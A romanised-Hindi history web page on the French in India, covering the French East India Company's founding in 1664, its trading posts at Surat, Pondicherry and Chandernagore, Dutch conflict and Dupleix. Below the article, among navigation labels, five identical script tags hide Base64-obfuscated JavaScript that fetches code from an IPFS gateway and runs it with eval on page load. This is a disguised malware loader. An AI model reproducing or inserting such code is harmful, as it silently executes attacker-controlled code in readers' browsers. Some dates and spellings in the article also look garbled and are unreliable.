फ़्राँसीसी
yoorop ke ek desh fraans mean rahane vale logoan ko phraansisi kahate haian. fraansisi bhi bharat mean vyapar karane ke uddeshy se hi ae the, lekin bharat ki sampannata ne unhean yahaan par basane ke liye vivash kar diya. dach, purtagali aur aangrezoan se fraansisiyoan ne kafi lambe samay tak sangharsh kiya. janaral dooma fraansisi upanivesh pandicheri ka gavarnar tha. janaral dooma ke bad doople agala fraansisi janaral banakar bharat aya, jisaki rajanitik saphalataoan ke age dooma ka yogadan dab gaya.
bharat agaman
fraansisiyoan ne bharat mean sabase ant mean pravesh kiya. inase pahale yahaan par purtagali, dach or aangrez log apani vyaparik kothiyaan sthapit kar chuke the. 'den' (denamark ke nivasi) 1616 ee. mean bharat aye. fraans ke samrat 'luee' 14vean ke mantri kolabart ke sahayog se 1664 ee. mean bharat mean 'fraansisi eest iandiya kampani' ki sthapana huee. yah kampani sarakari arthik sahayata par nirbhar thi, isalie ise 'sarakari vyapari kampani' bhi kaha jata hai.
kothiyoan ki sthapana
bharat mean fraansisiyoan ki pahali kothi fraikoan kairo dvara soorat mean 1668 ee. mean sthapit huee. golakunda riyasat ke sultan se adhikar patr prapt karane ke bad fraansisiyoan ne apani doosari vyaparik kothi ki sthapana 1669 ee. mean masulipattam mean ki. 1673 ee. mean fraansvaan martin tatha belaangar d lespin ne valikondapuram ke muslim soobedar sher khaan lodi se ek chhota gaanv purduchuri prapt kiya. purduchuri mean hi fraansisiyoan ne paandicheri ki nianv dali. bangal ke tatkalin navab shaista khaan ne 1674 ee. mean fraansisiyoan ko ek jagah di, jahaan par 1690-1692 ee. ke madhy chandranagar ki suprasiddh 'fraansisi kothi' ki sthapana ki gee.
dachoan se sangharsh evan patan
1693 ee. mean fraansisiyoan ke qabze se dachoan ne paandicheri ko chhin liya, jo 1697 ee. mean sampann 'rijavik samajhaute' ke bad hi fraansisi bastiyoan ka mukhyalay banaya gaya aur martin ko bharat mean fraansisi mamaloan ka mahanideshak niyukt kiya gaya. paandicheri ke karakhane mean hi martin ne fort luee ka nirman karaya. fraansisiyoan ne 1721 ee. mean m aaurishas, 1725 ee. mean malabar tat par sthit mahi evan 1739 ee. mean karikal par apana adhikar jama liya 1742 ee. se poorv fraansisiyoan ka mool uddeshy vyaparik labh kamana tha, parantu 1742 ee. ke bad doople ke paandicheri ka garvanar niyukt hone par rajanitik labh vyaparik labh se mahattvapoorn ho gaya. doople ki is mahatvakaanksha ne hi bharat mean fraansisiyoan ke patan ke marg ko prashast kiya.
- purtagali, dach, aangrez, den, fraansisi ke atirikt any kampaniyaan bhi thian - osteand kanpani aur svidish eest iandiya kanpani. osteand kanpani ko 1772 ee. mean vidhivat ajna-patr mila. isaka sangathan flaidars ke saudagaroan ne kiya tha. bharat mean isaka jivan alpakal ka raha. svidish eest iandiya kanpani ki sthapana 1731 ee. mean huee thi, kintu isaka vyaparik sanbandh adhikatar chin ke sath raha. saman mahatvakaanksha evan rajy vistar ki akaanksha ne in vyaparik kanpaniyoan mean sangharsh avashyanbhavi kar diya.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>